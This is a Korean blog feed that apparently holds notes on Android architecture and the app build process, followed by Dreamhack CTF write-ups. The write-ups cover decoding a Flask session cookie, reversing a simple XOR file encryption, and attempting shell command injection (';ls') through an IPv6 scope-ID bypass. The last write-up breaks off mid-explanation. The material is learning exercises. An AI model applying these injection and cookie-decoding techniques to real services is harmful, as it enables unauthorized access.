- 프로파일은 ART 컴파일러가 설치 중에 중요한 경로를 기계어 코드로 사전 컴파일하는 데 사용하는 APK에 포함된 클래스 및 메서드 목록이다. 프로파일은 앱이 실행되는 동안 어떤 메서드와 클래스가 가장 자주 사용되는지, 그리고 어떤 종류의 코드가 최적화가 필요한지에 대한 정보를 포함합니다. 프로파일은 앱이 시작을 최적화하고, 버벅거림을 줄이고, 최종 사용자가 경험하는 성능을 개선할 수 있도록 해 주는 일종의 프로필 기반 최적화(PGO/Profile-Guided Optimization)이다.
- 기기가 휴면 상태이고 와이파이 네트워트에 연결된 경우 구글 플레이 서비스를 통해 컴파일 프로파일 파일을 공유한다. 나중에 같은 기기를 가진 다른 사용자가 플레이스토에서 앱을 다운받으면 해당 기기는 이러한 프로파일을 받아드려 AOT가 가이드 컴파일을 수행하게되고 결과적으로 사용자들은 처음 사용부터 최적화 된 앱을 받게 된다.</code></pre><h3 id="네이티브-데몬-및-라이브러리system-services-and-daemons">네이티브 데몬 및 라이브러리(System Services and Daemons)</h3>
<p>이 레이어의 네이티브 데몬에는 <code>init</code>, <code>healthd</code>, <code>logd</code>, <code>storaged</code>가 포함된다. 이러한 데몬은 커널 또는 다른 인터페이스와 직접 상호작용하며 사용자 공간을 기반으로 하는 HAL 구현에 의존하지 않는다.</p>
<p>이 레이어의 네이티브 라이브러리에는 <code>libc</code>, <code>liblog</code>, <code>libutils</code>, <code>libbinder</code>, <code>libselinux</code>가 있다. 이러한 네이티브 라이브러리는 커널 또는 다른 인터페이스와 직접 상호작용하며 사용자 공간을 기반으로 하는 HAL 구현에 의존하지 않는다.</p>
<ul>
<li><p>더 쉬운 설명</p>
<p>  일반적으로 사용하는 라이브러리 기능들이 모인 곳인데 좀 더 저수준에서 동작하는 라이브러리다.</p>
<p>  왜냐면 안드로이드는 메인 메모리가 거의 없고 CPU 전원이 낮은 기기에서 실행돼야 하므로 CPU, GPU 집약적 작업을 위한 라이브러리들은 기기에 최적화된 네이티브 코드로 컴파일되야 한다.</p>
<p>  오디오와 비디오 코덱을 포함하고 음악, 영상, 사진 등의 미디어 처리를 담당하는 Media Framework, 화면의 창 구성을 처리하는 Surface Manager를 비롯한 여러 매니저와 프레임워크가 있고 아래의 오픈소스 라이브러리들이 담겨져 있다.</p>
<ul>
<li>SGL : 2D 그래픽 담당</li>
<li>OpenGL ES : 2D/3D 그래픽 담당. AR 앱을 만들 때 이 이름의 클래스를 다룬 적이 있다.</li>
<li>Free Type : 폰트 렌더링</li>
<li>WebKit : 웹 브라우저 엔진</li>
<li>libc : 시스템 C 라이브러리</li>
<li>SQLite : 모바일을 위한 경량화된 로컬 DB</li>
<li>Open SSL(Secure Socket Layer 프로토콜)</li>
</ul>
</li>
</ul>
<h3 id="하드웨어-추상화-계층halhardware-abstraction-layer">하드웨어 추상화 계층(HAL/Hardware Abstraction Layer)</h3>
<p>HAL은 하드웨어 공급업체에서 구현할 표준 인터페이스가 포함된 추상화 계층이다. HAL을 사용하면 안드로이드가 하위 수준의 드라이버 구현을 고려하지 않아도 된다. HAL을 사용하면 상위 수준 시스템에 영향을 주거나 수정하지 않고도 기능을 구현할 수 있다. 자세한 내용은 <a href="https://source.android.com/docs/core/architecture/hal?hl=ko">HAL 개요</a>를 참고한다.</p>
<ul>
<li><p>더 쉬운 설명</p>
<p>  HAL은 하드웨어와 소프트웨어의 차이를 추상화하여, 하드웨어에 대한 접근을 단순화한다. 예를 들어, 카메라, 화면, 오디오 등 다양한 하드웨어 장치에 대한 접근을 HAL을 통해 제공한다. HAL은 안드로이드 프레임워크 및 애플리케이션이 하드웨어에 직접 접근하지 않고도 하드웨어를 사용할 수 있도록 한다.</p>
</li>
</ul>
<h3 id="커널kernel">커널(Kernel)</h3>
<p>커널은 모든 운영체제의 중심이며 기기의 기본 하드웨어와 통신한다. 하드웨어적인 설정을 리눅스 커널에서 관리한다. 가능한 경우 AOSP 커널은 하드웨어 제약이 없는 모듈과 공급업체별 모듈로 분할된다. 정의를 비롯하여 AOSP 커널 구성요소에 관한 자세한 내용은 <a href="https://source.android.com/docs/core/architecture/kernel?hl=ko">커널 개요</a>를 참고한다.</p>
<ul>
<li>커널이 담당하는 일<ul>
<li>메모리 관리</li>
<li>보안 설정</li>
<li>전원 관리</li>
<li>다른 하드웨어 장치 드라이버 관리</li>
<li>네트워크 시스템 관리</li>
</ul>
</li>
</ul>
<h2 id="앱빌드">앱빌드</h2>
<h3 id="gradle">Gradle</h3>
<p>안드로이드 스튜디오의 빌드 시스템은 Gradle이고 그 플러그인 Android Gradle Plugin(AGP)는 안드로이드 앱을 빌드하는 과정을 내부적으로 처리해준다.</p>
<ul>
<li>Gradle은 CI/CD를 위해 아래 작업들을 자동화 시켜 주는 Groovy 기반의 오픈소스 빌드 도구<ul>
<li>Compile - Java 파일의 소스 코드를 컴퓨터가 이해할 수 있도록 바이트 코드로 변환</li>
<li>Test - 유닛 테스트, UI 테스트</li>
<li>Packaging - 스프링 코드를 패키징 해 .jar 파일이나 .war 파일로 생성</li>
<li>Deploy &amp; Run - 서버 실행</li>
</ul>
</li>
<li>빌드 도구<ul>
<li>소프트웨어 개발에 있어서 소스 코드를 실행 가능한 어플리케이션으로 만들어주는 도구</li>
<li>빌드 과정을 자동화하여 관리하는 기능을 하기 때문에 빌드 관리도구 또는 빌드 자동화 도구라고 한다.</li>
</ul>
</li>
</ul>
<h3 id="빌드-프로세스">빌드 프로세스</h3>
<p>빌드는 결국 프로젝트를 APK와 AAB로 변환하는 과정이다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/4190dc40-6f25-462a-a4b5-252b0cd24268/image.png" alt=""></p>
<ul>
<li><p>APK와 AAB의 차이점</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/b2872af3-12ef-4896-a6d9-3cd6a53289ba/image.png" alt=""></p>
</li>
</ul>
<pre><code>![](https://velog.velcdn.com/images/imkyu_1228/post/2ee7b5c3-1cf5-4459-bf10-11b0d3223614/image.png)


APK(Android Package)는 이미 완성된 안드로이드 앱 파일이고, AAB(Android App Bundle)는 APK를 완성해주는 요소를 담은 패키지다.

기존처럼 모든 기기에 대응할 수 있는 하나의 APK를 전달하는 것이 아니라, 개발자가 스토에 AAB 패키지를 올려놓으면, 스토어가 사용자 기기에 어떤 내요잉 필요한지 확인하고 그에 맞춘 APK 파일을 만들어 배포한다.

현재 구글 플레이스토에서 AAB가 의무화 되었다.</code></pre><h3 id="application-reources">Application Reources</h3>
<p>애플리케이션의 리소스 파일들은 <strong>AAPT(Android Asset Packging Tool)</strong>에 의해 해당 리소스 파일을 참조할 수 있는 ID가 부여되어 <strong>R.java</strong> 클래스 안에 담기게 된다.</p>
<h3 id="aidlandroid-interface-definition-language">AIDL(Android Interface Definition Language)</h3>
<p>AIDL은 안드로이드 플랫폼에서 서로 다른 프로세스 간에 통신하기 위해 사용되는 인터페이스 정의 언어이다.</p>
<p>AIDL을 사용하여 서로 다른 앱 또는 프로세스 사이에서 데이터와 메소드를 주고받을 수 있다.</p>
<p>AIDL 언어는 자바 언어에 기반한다.</p>
<h3 id="application-source-code">Application Source Code</h3>
<p>개발자가 작성한 자바, 코틀리의 소스코드, R.java, Java Interfaces는 자바 컴파일러, 코틀린 컴파일러를 통해 자바 바이트코드인 .class파일로 변환된다.</p>
<h3 id="dex로-변환">Dex로 변환</h3>
<p>변횐된 .class 파일과 서드 파티 라이브러리 파일을 .dex(Dalvik Executable)파일로 변환한다.</p>
<ul>
<li><p>서드 파티 라이브러리(3rd Party Libraries)</p>
<p>  소프트웨어 개발에서 사용되는 외부 제공자가 제작한 코드의 모음이다. 이 라이브러리는 개발자가 직접 작성하는 코드 대신 사용하여 소프트웨어 개발을 더 빠르고 효율적으로 진행할 수 있도록 한다.</p>
<ul>
<li><p>JAR(Java Archive)</p>
<p>  자바 플랫폼에서 사용되는 일반적인 라이브러리 파일 형식이다. 안드로이드에서도 자바 코드를 포함한 라이브러리로 사용할 수 있다.</p>
</li>
<li><p>AAR(Android Archive)</p>
<p>  안드로이드 플랫폼에서 사용되는 라이브러리 파일 형식이다. AAR 파일은 JAR파일을 확장하여 안드로이드 리소스까지 포함하고 있다.</p>
</li>
</ul>
</li>
</ul>
<p>.dex 파일로 변환은 안드로이드 앱의 최적화 및 보안 강화를 위한 중요한 단계이다.</p>
<p><strong>Code shrinking(코드 수축)</strong> : 소스코드나 라이브러리의 코드에서 실제로 사용되지 않은 클래스들, 필드들, 메소드들, 속성드를 제거한다.</p>
<p><strong>Resource shrinking(자원 수축)</strong> : 사용되지 않은 리소스들을 제거한다. Code shrinking이 진행된 후에 진행하는 것이 유리하다. Code shrinking이 끝난 후에 어떤 리소스들을 참조되며 사용할 지를 정확히 판단할 수 있다.</p>
<p><strong>Obfuscation(난독화)</strong> : 난독화는 앱의 코드를 의도적으로 어렵게 만들어서 앱을 리버싱으로 부터 보호하고 코드의 가독성을 낮추는 작업이다. 다만 이런 난독화 과정을 거치고 나면 Crash가 나거나 우리가 알아볼 수 없게 된다. 그렇기 때문에 난독화 도구는 난독화를 수행할 때 매핑 파일을 생성해준다. R8 컴파일러는 mapping.txt 라는 파일을 생성한다.</p>
<p><strong>MultiDex(멀티 덱스)</strong> : 안드로이드 앱이 커질수록 단일 .dex 파일에 모든 클래스를 포함하기 어려울 수 있다. 멀티 덱스 기능을 통해 여러 개의 .dex 파일을 사용할 수 있다. 여러 개로 나뉘어 앱 실행 시 필요한 부분만 로딩하여 메모리 절약을 할 수 있다.</p>
<p><strong>Optimization(최적화)</strong> : 코드를 분석해서 최종 APK파일의 크기를 줄이는 최적화를 할 수 있다. ex) R8 컴파일러는 절대 수행 될 수 없는 else문을 스스로 제거해서 최적화를 진행해준다.</p>
<p>위 과정을 진행하게 도와주는 도구는 Proguard와 R8이 있다.</p>
<h3 id="proguard">Proguard</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/37a1baa4-e39e-49ef-8cf9-f6b381424635/image.png" alt=""></p>
<p>Proguard는 .class파일을 dex파일로 변환하는 도구이다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/e9ee86e8-2ee4-42a1-ae81-f3b7a431b24b/image.png" alt=""></p>
<p>desugar는 자바 8이상의 기능을 지원하기 위해 이전 안드로이드 버전에서 사용할 수 없었던 새로운 자바 기능을 대체하거나 변환하는 과정이다.</p>
<p>이 과정의 가장 큰 단점이 <strong>더 긴 빌드 시간</strong>이다.</p>
<h3 id="d8">D8</h3>
<p>앞선 문제를 해결하기 위해 안드로이드 스튜디오 3.2에서 구글은 Dex 컴파일러를 D8이라는 새로운 컴파일러를 도입했다. 특징은 desugaring 변환을 제거하고 이를 .class2dex 컴파일의 일부로 만들어 빌드 시간을 더 빠르게 만드는 것이다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/d79f53c2-c7bf-401a-8c98-2ac84fd0d986/image.png" alt=""></p>
<h3 id="r8">R8</h3>
<p>R8은 D8의 파생 버전이다. 둘이 같은 코드베이스를 공유한다. 또한 R8은 추가적인 문제를 해결한다. D8과 마찬가지로 R8은 오래된 달빅/ART에서 새로운 Java 기능을 사용할 수 있게 해준다. R8의 가장 큰 장점은 앱에서 특정 디바이스나 API 레벨을 지원하기 위해 필요한 opcodes만 남기고 .dex 코드를 최적화하는 것이다.</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/7939314d-a687-40f3-b788-9d674de35b44/image.png" alt=""></p>
<h3 id="apkbuilder">Apkbuilder</h3>
<p>.apk로 패키징한다.</p>
<h3 id="jarsigner">Jarsigner</h3>
<p>Jarsigner는 Java 아카이브(JAR) 파일을 디지털 서명하는 데 사용되던 도구</p>
<p>debug 또는 release용 keystore로 signing한다.</p>
<h3 id="zipalignrelease-mode">zipalign(release mode)</h3>
<p>Zipalign은 APK 파일을 최적화하여 메모리 사용을 개선하는 도구. APK 안의 파일을 4바이트 경계에 정렬하여 앱이 더 효율적으로 메모리에 로드되도록 돕는다.</p>
<p>zipalign tool을 이용해 align시킨다.</p>
<h3 id="구조">구조</h3>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/2a2f64ba-a497-42a4-a201-e912c8a2b1b2/image.png" alt=""></p>
<ul>
<li>META-INF<ul>
<li>인증 서명과 관련한 정보가 담겨있는 디렉터리</li>
</ul>
</li>
<li>assets<ul>
<li>의미 그대로 앱 실행에 필요한 자원들이 저장되는 디렉터리.</li>
<li>res 디렉터리와 중복되는 것 같지만 용량이 큰 파일 위주로 저장된다.</li>
</ul>
</li>
<li>res<ul>
<li>앱 실행에 필요한 자원이 모여있는 디렉터리<ul>
<li>Drawable : 프로젝트에 활용될 이미지들</li>
<li>Layout : 안드로이드 화면을 담당하는 xml들의 집함</li>
<li>Values<ul>
<li>dimens.xml : 텍스트 크기, 도형 크기 등 크기에 관련된 설정 파일</li>
<li>strings.xml : 문자열에 관련된 설정 파일</li>
<li>styles.xml : 색상, 액션바 유무, 배경 색 등 화면 디자인 관련 설정을 정의res</li>
</ul>
</li>
</ul>
</li>
<li>assets 디렉터리에 비해 용량이 작은 파일 위주로 저장된다.</li>
</ul>
</li>
</ul>
<p>!<a href="https://blog.kakaocdn.net/dn/kzwME/btrgijqGKkA/rDMrTKkCJapVFTz1EHkrl1/img.png">https://blog.kakaocdn.net/dn/kzwME/btrgijqGKkA/rDMrTKkCJapVFTz1EHkrl1/img.png</a></p>
<ul>
<li>lib<ul>
<li>라이브러리 파일들이 저장되는 디렉터리</li>
</ul>
</li>
<li>AndroidManifest.xml<ul>
<li>어플리케이션을 구성하는 컴포넌트 및 패키지명, 버전과 같은 앱의 정보가 저장되는 파일이다.</li>
<li>AndroidManifest.xml 의 주요 컴포넌트<ul>
<li>Activity : Activity는 일반적으로 하나의 뷰를 말하며, 해당 Activity에 대한 속성을 정의함</li>
<li>Service : 백그라운드에서 실행되는 서비스</li>
<li>Broadcast Receiver : 안드로이드 내부 이벤트 핸들링을 위한 컴포넌트 ex) 문자수신, 베터리 부족</li>
<li>Content Provide : 어플리케이션간 데이터 공유를 위한 컴포넌트</li>
</ul>
</li>
</ul>
</li>
<li>class.dex<ul>
<li>.class 파일을 달빅 바이트 코드로 변환시킨 소스 파일</li>
</ul>
</li>
<li>resources.arsc<ul>
<li>res의 정보가 기록되어 있다.</li>
<li>컴파일된 리소스(문자열, 스타일 등)가 존재</li>
</ul>
</li>
</ul>
<h2 id="요약">요약</h2>
<ul>
<li>안드로이드는 구글이 개발한 리눅스 기반 오픈소스 모바일 운영체제</li>
<li>AOSP는 안드로이드의 오픈소스 프로젝트로, 핵심 코드베이스를 제공</li>
<li>Android는 AOSP를 기반으로 하며 구글 서비스와 앱을 포함한 완성된 OS</li>
<li>DEX 파일은 안드로이드 앱의 실행 코드를 담고 있는 파일 형식</li>
<li>DEX 파일 구조는 헤더와 여러 섹션(string_ids, type_ids, proto_ids 등)으로 구성</li>
<li>각 섹션은 특정 정보(문자열, 타입, 메소드 등)를 저장하고 관리</li>
<li>헤더 정보를 통해 각 섹션의 위치와 크기를 파악할 수 있음</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] Secure Secret]]></title>
            <link>https://velog.io/@imkyu_1228/Secure-Secret</link>
            <guid>https://velog.io/@imkyu_1228/Secure-Secret</guid>
            <pubDate>Sun, 24 Nov 2024 12:31:55 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/1242339f-3b4b-4838-ae8f-b044e08e54b0/image.png" alt=""></p>
<h2 id="웹">웹</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/30eab79d-34bc-4fb0-96d7-042ebfda9287/image.png" alt=""></p>
<h2 id="문제-파일">문제 파일</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/26de749a-92ac-46eb-b891-eac488ca1c51/image.png" alt=""></p>
<h2 id="문제-설명">문제 설명</h2>
<ul>
<li>숨겨진 폴더를 찾고 flag를 제출하라</li>
<li>문제 설명에 읽어보면 세션에 경로를 숨겨두었다.</li>
</ul>
<pre><code class="language-python"># app.py
#!/usr/bin/env python3
import os
import string
from flask import Flask, request, abort, render_template, session

SECRETS_PATH = &#39;secrets/&#39;
ALLOWED_CHARACTERS = string.ascii_letters + string.digits + &#39;/&#39;

app = Flask(__name__)
app.secret_key = os.urandom(32)

# create sample file
with open(f&#39;{SECRETS_PATH}/sample&#39;, &#39;w&#39;) as f:
    f.write(&#39;Hello, world :)&#39;)

# create flag file
flag_dir = SECRETS_PATH + os.urandom(32).hex()
os.mkdir(flag_dir)
flag_path = flag_dir + &#39;/flag&#39;
with open(&#39;/flag&#39;, &#39;r&#39;) as f0, open(flag_path, &#39;w&#39;) as f1:
    f1.write(f0.read())

@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def get_index():
    # safely save the secret into session data
    session[&#39;secret&#39;] = flag_path

    # provide file read functionality
    path = request.args.get(&#39;path&#39;)
    if not isinstance(path, str) or path == &#39;&#39;:
        return render_template(&#39;index.html&#39;, msg=&#39;input the path!&#39;)

    if any(ch not in ALLOWED_CHARACTERS for ch in path):
        return render_template(&#39;index.html&#39;, msg=&#39;invalid path!&#39;)

    full_path = f&#39;./{SECRETS_PATH}{path}&#39;
    if not os.path.isfile(full_path):
        return render_template(&#39;index.html&#39;, msg=&#39;invalid path!&#39;)

    try:
        with open(full_path, &#39;r&#39;) as f:
            return render_template(&#39;index.html&#39;, msg=f.read())
    except:
        abort(500)
</code></pre>
<ul>
<li><p>flag가 있는 위치는 secrets/무작위32자/flag에 있다.</p>
</li>
<li><p>첫번째 시도</p>
<ul>
<li><p>세션 값을 그대로 넣자</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/0f2f89b7-8dab-4e68-9444-00af13ce362d/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- 필터링으로 인한 실패</code></pre><ul>
<li><p>두번째 시도</p>
<ul>
<li><p><a href="http://app.py">app.py</a> 코드를 보면 루트 디렉터리에 flag 내용을 가져와 숨겨진 폴더에 flag 파일을 넣는다</p>
<pre><code class="language-python">with open(&#39;/flag&#39;, &#39;r&#39;) as f0, open(flag_path, &#39;w&#39;) as f1:
  f1.write(f0.read())</code></pre>
</li>
<li><p>그러면 루트 디렉터리에 flag를 불러오자</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/01b60ff5-4016-4334-8896-b36919f6d15b/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- 필터링으로 인한 실패
- 필터링을 우회하기 위한 이중 인코딩도 실패</code></pre><ul>
<li><p>세번째 시도</p>
<ul>
<li>검색중 <a href="https://www.igloo.co.kr/security-information/%EC%9B%B9-%ED%85%9C%ED%94%8C%EB%A6%BF-%EC%97%94%EC%A7%84-%EA%B8%B0%EB%B0%98%EC%9D%98-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D/">렌더링 템플릿기반의 ssti 취약점</a> 발견</li>
<li>rander_template_string()함수를 사용하지 않아서 해당안됨</li>
</ul>
</li>
<li><p>네번째 시도</p>
<ul>
<li><p>다시 처음으로 돌아와서 세션을 보면 jwt 토큰이랑 비슷함</p>
<ul>
<li>세션정보.타임스탬프.해쉬</li>
<li>세션정보 base64 인코딩 되어있음</li>
</ul>
</li>
<li><p>추가 검색</p>
</li>
<li><p><a href="https://www.kirsle.net/wizards/flask-session.cgi#cookie">플라스크 세션/쿠키 디코더</a> 발견</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/089b8ca0-8019-432e-85a6-33b41a0bfdc8/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- json 데이터가 아니라고 실패
- https://domdom.tistory.com/295 이 블로그에는 플라스크에서 세션을 저장할 때 itsdangersous 모듈에서 인코딩하고 있다고

    ![](https://velog.velcdn.com/images/imkyu_1228/post/91013330-444a-40d8-90e8-fc9003fb7496/image.png)


- .eJwtxrsVgCAMAMBdWAACko_bkITYWImdz91tvOqetKZd8077n5VFyUSaBhJ3RWZRaw2BvHYdmwU4F8LqU9gjJhSNAR7QkKpKyXGOI70f6V8bAQ 디코딩 시도

    ![](https://velog.velcdn.com/images/imkyu_1228/post/6ad057d0-e6ce-4a65-8f08-cd66229e83bf/image.png)


- 실패
- 앞에 점 빼고 시도해도 실패
- 다시 검색하던 중 https://hackingstudypad.tistory.com/95에서 쿠키값을 디코딩할 때 flask-unsign을 발견
- 디코딩 시도

    ![](https://velog.velcdn.com/images/imkyu_1228/post/cca8ecbc-e98b-476a-a670-04611bd441d6/image.png)


- 성공
- 버프 스위트에 입력

    ![](https://velog.velcdn.com/images/imkyu_1228/post/d3f34fa0-8f54-4242-8d44-2eef13f16119/image.png)


- 성공</code></pre><h2 id="추가">추가</h2>
<ul>
<li><p>블로그나 지피티에 뒤져봐도 앞에 세션정보는 base64로 인코딩된다고한다.</p>
</li>
<li><p>디코딩 시도 했지만 안되었음</p>
</li>
<li><p><a href="https://github.com/Paradoxis/Flask-Unsign/blob/master/flask_unsign/session.py">flask-unsign</a> 소스코드를 보면</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/aac00e94-29ae-4c6b-bf0f-9bba1b68c8f7/image.png" alt=""></p>
</li>
</ul>
<pre><code>- 맨 앞에 .이 붙으면 zlib라이브러리로 압축해제를 하고 있다.
- 그렇다면 세션정보가 너무 길어서 압축을 한 것 같다.
- 몇자리 부터 압축을 하는 지 궁금해서 flask session에 대해 검색했고 [itsdangerous](https://github.com/pallets/itsdangerous/blob/main/src/itsdangerous/url_safe.py) 라이브러리를 통해 세션을 저장한다는 것을 알았다.
- zlib 키워드를 검색해서

    ![](https://velog.velcdn.com/images/imkyu_1228/post/9937a48a-fa87-4f67-adae-dd20d2b17937/image.png)


- 압축한다는 것만 확인</code></pre><ul>
<li>세션을 저장할 때<ul>
<li>session[’키’]=값을 하면 플라스크는 json 형식으로 직렬화(파이썬 데이터 구조를 json형식으로 변환)한다.</li>
<li>서명 app.secret_key를 통해 데이터의 무결성을 보장하고 이렇게 서명된 json 데이터는 쿠키에 저장한다.</li>
<li>따라서 sercret_key는 데이터를 암호화하는 게 아니라 함부러 수정할 수 없게 만드는 것이다.</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] Recover]]></title>
            <link>https://velog.io/@imkyu_1228/Recover</link>
            <guid>https://velog.io/@imkyu_1228/Recover</guid>
            <pubDate>Sun, 24 Nov 2024 12:26:08 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/08072c79-3e0a-4d7c-866b-f56ffa74d919/image.png" alt=""></p>
<h2 id="문제-설명">문제 설명</h2>
<ul>
<li><p>chall를 아이다로 분석하자</p>
</li>
<li><p>디스 어셈블하면</p>
<pre><code class="language-c">  __int64 __fastcall main(int a1, char **a2, char **a3)
  {
    char ptr; // [rsp+Bh] [rbp-25h] BYREF
    int v5; // [rsp+Ch] [rbp-24h]
    _BYTE *v6; // [rsp+10h] [rbp-20h]
    FILE *stream; // [rsp+18h] [rbp-18h]
    FILE *s; // [rsp+20h] [rbp-10h]
    unsigned __int64 v9; // [rsp+28h] [rbp-8h]

    v9 = __readfsqword(0x28u);
    v6 = &amp;unk_2004;
    stream = fopen(&quot;flag.png&quot;, &quot;rb&quot;);
    if ( !stream )
    {
      puts(&quot;fopen() error&quot;);
      exit(1);
    }
    s = fopen(&quot;encrypted&quot;, &quot;wb&quot;);
    if ( !s )
    {
      puts(&quot;fopen() error&quot;);
      fclose(stream);
      exit(1);
    }
    v5 = 0;
    while ( fread(&amp;ptr, 1uLL, 1uLL, stream) == 1 )
    {
      ptr ^= v6[v5 % 4];
      ptr += 19;
      fwrite(&amp;ptr, 1uLL, 1uLL, s);
      ++v5;
    }
    fclose(stream);
    fclose(s);
    return 0LL;
  }</code></pre>
</li>
<li><p>flag.png를 암호화 하고 있다.</p>
</li>
<li><p>반복문을 보면</p>
<ul>
<li><p>바이트 하나씩 v6값을 사용하여 xor, 19를 더하면서  암호화를 하고 있다.</p>
</li>
<li><p>복호화하려면 unk_2004가 무엇인지 알아내고 -19하고 xor연산을 한번 더하면 된다.</p>
</li>
<li><p>unk_2004</p>
<pre><code class="language-nasm">  .rodata:0000000000002004 unk_2004        db 0DEh                 ; DATA XREF: main+1B↑o
  .rodata:0000000000002005                 db 0ADh
  .rodata:0000000000002006                 db 0BEh
  .rodata:0000000000002007                 db 0EFh</code></pre>
</li>
<li><p>복호화 파일</p>
<pre><code class="language-c">  #include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;

  int main() {
      char ptr;
      int v5 = 0;
      unsigned char v6[4] = {0xDE, 0xAD, 0xBE, 0xEF}; // XOR 키 값
      FILE *encrypted_file = fopen(&quot;encrypted&quot;, &quot;rb&quot;);
      FILE *decrypted_file = fopen(&quot;decrypted.png&quot;, &quot;wb&quot;);

      if (!encrypted_file) {
          puts(&quot;fopen() error for encrypted file&quot;);
          exit(1);
      }

      if (!decrypted_file) {
          puts(&quot;fopen() error for decrypted file&quot;);
          fclose(encrypted_file);
          exit(1);
      }

      while (fread(&amp;ptr, 1, 1, encrypted_file) == 1) {
          // 복호화 과정: 암호화의 역순으로 연산을 수행
          ptr -= 0x13;              
          ptr ^= v6[v5 % 4];          
          fwrite(&amp;ptr, 1, 1, decrypted_file);
          ++v5;
      }

      fclose(encrypted_file);
      fclose(decrypted_file);
      return 0;
  }</code></pre>
</li>
</ul>
</li>
<li><p>성공</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/f2ed1940-772b-4225-850e-9a53a5edf43a/image.png" alt=""></p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[dreamhack] EZ_command_injection]]></title>
            <link>https://velog.io/@imkyu_1228/dreamhack-EZcommandinjection</link>
            <guid>https://velog.io/@imkyu_1228/dreamhack-EZcommandinjection</guid>
            <pubDate>Sun, 24 Nov 2024 12:24:36 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/7b1e4e8e-061c-4362-8f74-60ea1f1e7eee/image.png" alt=""></p>
<h2 id="웹">웹</h2>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/58d666ac-5723-4e57-8cde-b933fc9b13d4/image.png" alt=""></p>
<h2 id="소스코드">소스코드</h2>
<pre><code class="language-python">#app.py
#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def index():
    return render_template(&#39;index.html&#39;)

@app.route(&#39;/ping&#39;, methods=[&#39;GET&#39;])
def ping():
    host = request.args.get(&#39;host&#39;, &#39;&#39;)
    try:
        addr = ipaddress.ip_address(host)
    except ValueError:
        error_msg = &#39;Invalid IP address&#39;
        print(error_msg)
        return render_template(&#39;index.html&#39;, result=error_msg)

    cmd = f&#39;ping -c 3 {addr}&#39;
    try:
        output = subprocess.check_output([&#39;/bin/sh&#39;, &#39;-c&#39;, cmd], timeout=8)
        return render_template(&#39;index.html&#39;, result=output.decode(&#39;utf-8&#39;))
    except subprocess.TimeoutExpired:
        error_msg = &#39;Timeout!!!!&#39;
        print(error_msg)
        return render_template(&#39;index.html&#39;, result=error_msg)
    except subprocess.CalledProcessError:
        error_msg = &#39;An error occurred while executing the command&#39;
        print(error_msg)
        return render_template(&#39;index.html&#39;, result=error_msg)

if __name__ == &#39;__main__&#39;:
    app.run(host=&#39;0.0.0.0&#39;, port=8000)</code></pre>
<h2 id="문제설명">문제설명</h2>
<ul>
<li><p>소스코드를 보면 /ping 페이지에서 shell에서 ping를 하는 것을 볼 수 있다.\</p>
</li>
<li><p>그럼 ;ls를 사용하면 바로 풀리겠다.</p>
<ul>
<li><p>실패</p>
<p>  <img src="https://velog.velcdn.com/images/imkyu_1228/post/fd6dc00b-c1b6-43d4-9597-7a453cf7c6db/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- 원인

    ```python
    @app.route(&#39;/ping&#39;, methods=[&#39;GET&#39;])
    def ping():
        host = request.args.get(&#39;host&#39;, &#39;&#39;)
        try:
            addr = ipaddress.ip_address(host)
        except ValueError:
            error_msg = &#39;Invalid IP address&#39;
            print(error_msg)
            return render_template(&#39;index.html&#39;, result=error_msg)
        cmd = f&#39;ping -c 3 {addr}&#39;
    ```

- 코드를 보면 host를 ipaddress.ip_address함수의 인자로 사용해서 반환값을 addr에 담아 ping을 실행하고 있다.
    - ipaddress.ip_address 함수는 올바른 IPv4, IPv6인지 자동으로 판별한다.
    - 따라서 내가 입력한 ;ls는 올바른 ip주소가 아니기 때문에 예외처리 되었다.</code></pre><ul>
<li><p>ipaddress.ip_address를 우회하기</p>
<ul>
<li><p>IPv6 주소는 스코프 아이디(scope ID)가 있는데 스코프 아이디는 로컬 네트워크에서 사용되는 식별자이다</p>
<p><img src="https://velog.velcdn.com/images/imkyu_1228/post/5ee183b9-e15b-47e6-b1d4-92ca942460c5/image.png" alt=""></p>
</li>
</ul>
</li>
</ul>
<pre><code>- 여기서 lo, eth0, eth1, loopback0, eth2, eth3가 스코프 아이디이다.
- 스코프 아이디가 사용되는 이유는

```
